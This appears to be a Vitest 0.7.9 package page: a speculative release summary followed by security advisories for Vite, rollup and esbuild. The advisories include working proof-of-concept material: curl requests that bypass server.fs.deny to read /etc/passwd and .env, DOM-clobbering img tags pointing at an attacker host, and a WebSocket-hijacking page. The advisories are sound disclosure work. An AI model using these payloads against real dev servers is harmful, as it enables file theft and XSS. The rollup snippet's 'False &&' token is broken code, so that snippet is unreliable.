Vitest version 0.7.9 is a minor update to the blazing fast unit test framework for Vite, following closely on the heels of version 0.7.8. While the core functionality and dependencies like Chai, Vite, and Tinyspy remain consistent, this release introduces subtle refinements primarily noticeable to developers working within the Vitest ecosystem. The most significant change lies within the updated vite-node and @vitest/ui development dependencies, bumped from version 0.7.8 to 0.7.9, suggesting improvements or bug fixes in the Vite integration layer and the user interface. Other core dependencies stay at the same version, meaning that no breaking changes appeared at this level.
Developers should also note a slight increase in the unpacked size of the package, going from 11982864 bytes in 0.7.8 to 11984146 bytes in 0.7.9. While only a small difference, it potentially indicates the inclusion of new assets, documentation updates, or minor code adjustments within the updated components. Both versions declare the same peer dependencies (c8, jsdom, happy-dom, @vitest/ui), signaling continued compatibility with these testing environments and UI frameworks. The release date difference, approximately four hours, suggests a rapid bug fix or feature enhancement cycle. For users of Vitest, upgrading to 0.7.9 is likely a seamless process, potentially resolving minor interface glitches or improving Vite integration, offering a smoother and more refined testing experience.
All the vulnerabilities related to the version 0.7.9 of the package
Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs
/iife
/umd
output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs
, iife
, or umd
. In such cases, Vite replaces relative paths starting with __VITE_ASSET__
using the URL retrieved from document.currentScript
.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
Considering a website that contains the following main.js
script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
. The attacker only needs to insert an img
tag with the name
attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs
, iife
, or umd
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
Vite's server.fs.deny
is bypassed when using ?import&raw
The contents of arbitrary files can be returned to the browser.
@fs
denies access to files outside of Vite serving allow list. Adding ?import&raw
to the URL bypasses this limitation and returns the file content if it exists.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Websites were able to send any requests to the development server and read the response in vite
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
[!WARNING] This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
localhost
or *.localhost
If you are using the backend integration feature and not setting server.origin
, you need to add the origin of the backend server to the server.cors.origin
option. Make sure to set a specific origin rather than *
, otherwise any origin can access your development server.
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost
or *.localhost
, you need to add the hostname to the new server.allowedHosts
option. For example, if the reverse proxy is sending requests to http://vite:5173
, you need to add vite
to the server.allowedHosts
option.
localhost
or *.localhost
You need to add the hostname to the new server.allowedHosts
option. For example, if you are accessing the development server via http://foo.example.com:8080
, you need to add foo.example.com
to the server.allowedHosts
option.
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
legacy.skipWebSocketTokenCheck: true
to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
Set server.cors
to false
or limit server.cors.origin
to trusted origins.
There aren't any mitigations for this.
Use Chrome 94+ or use HTTPS for the development server.
There are three causes that allowed malicious websites to send any requests to the development server:
Vite sets the Access-Control-Allow-Origin
header depending on server.cors
option. The default value was true
which sets Access-Control-Allow-Origin: *
. This allows websites on any origin to fetch
contents served on the development server.
Attack scenario:
http://malicious.example.com
).fetch('http://127.0.0.1:5173/main.js')
request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:5173/main.js
.Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
http://malicious.example.com
).new WebSocket('http://127.0.0.1:5173', 'vite-hmr')
by JS in that malicious web page.Unless server.https
is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
http://malicious.example.com:5173
) (HTTPS won't work).fetch('/main.js')
request by JS in that malicious web page.http://127.0.0.1:5173/main.js
bypassing the same origin policy.Users with the default server.cors
option may:
server.proxy
may have those functionalities.All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
server.proxy
may have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
react
template which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>vite CSWSH</title>
</head>
<body>
<div id="logs"></div>
<script>
const div = document.querySelectorAll('#logs')[0];
const ws = new WebSocket('ws://localhost:5173','vite-hmr');
ws.onmessage = event => {
const logLine = document.createElement('p');
logLine.innerHTML = event.data;
div.append(logLine);
};
</script>
</body>
</html>
npm run dev
http://localhost:5173/
) as well as the malicious page in the browser.src/App.jsx
file and intentionally place a syntax errorHere's a video demonstrating the POC:
https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961
Vite bypasses server.fs.deny when using ?raw??
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
@fs
denies access to files outside of Vite serving allow list. Adding ?raw??
or ?import&raw??
to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ?
are removed in several places, but are not accounted for in query string regexes.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Vite has a server.fs.deny
bypassed for inline
and raw
with ?import
query
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
?inline&import
(originally reported as ?import&?inline=1.wasm?init
)?raw?import
/@fs/
isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Vite allows server.fs.deny to be bypassed with .svg or relative paths
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
.svg
Requests ending with .svg
are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit
(default: 4kB) and when using Vite 6.0+.
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../
).
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Vite has an server.fs.deny
bypass with an invalid request-target
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Only apps with the following conditions are affected.
HTTP 1.1 spec (RFC 9112) does not allow #
in request-target
. Although an attacker can send such a request. For those requests with an invalid request-line
(it includes request-target
), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).
On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url
contains #
. Vite assumed req.url
won't contain #
when checking server.fs.deny
, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url
did not contain #
.
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
Vite's server.fs.deny bypassed with /. for files under project root
The contents of files in the project root
that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root
and are denied by a file matching pattern can be bypassed.
.env
, .env.*
, *.{crt,pem}
, **/.env
**/.git/**
, .git/**
, .git/**/*
server.fs.deny
can contain patterns matching against files (by default it includes .env
, .env.*
, *.{crt,pem}
as such patterns).
These patterns were able to bypass for files under root
by using a combination of slash and dot (/.
).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: *
header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com
).fetch('http://127.0.0.1:8000/main.js')
request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js
.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html
: normally you have a script tag here/assets
: it's common to have a assets
directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild
SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))
)The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm i
npm run watch
fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))
in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.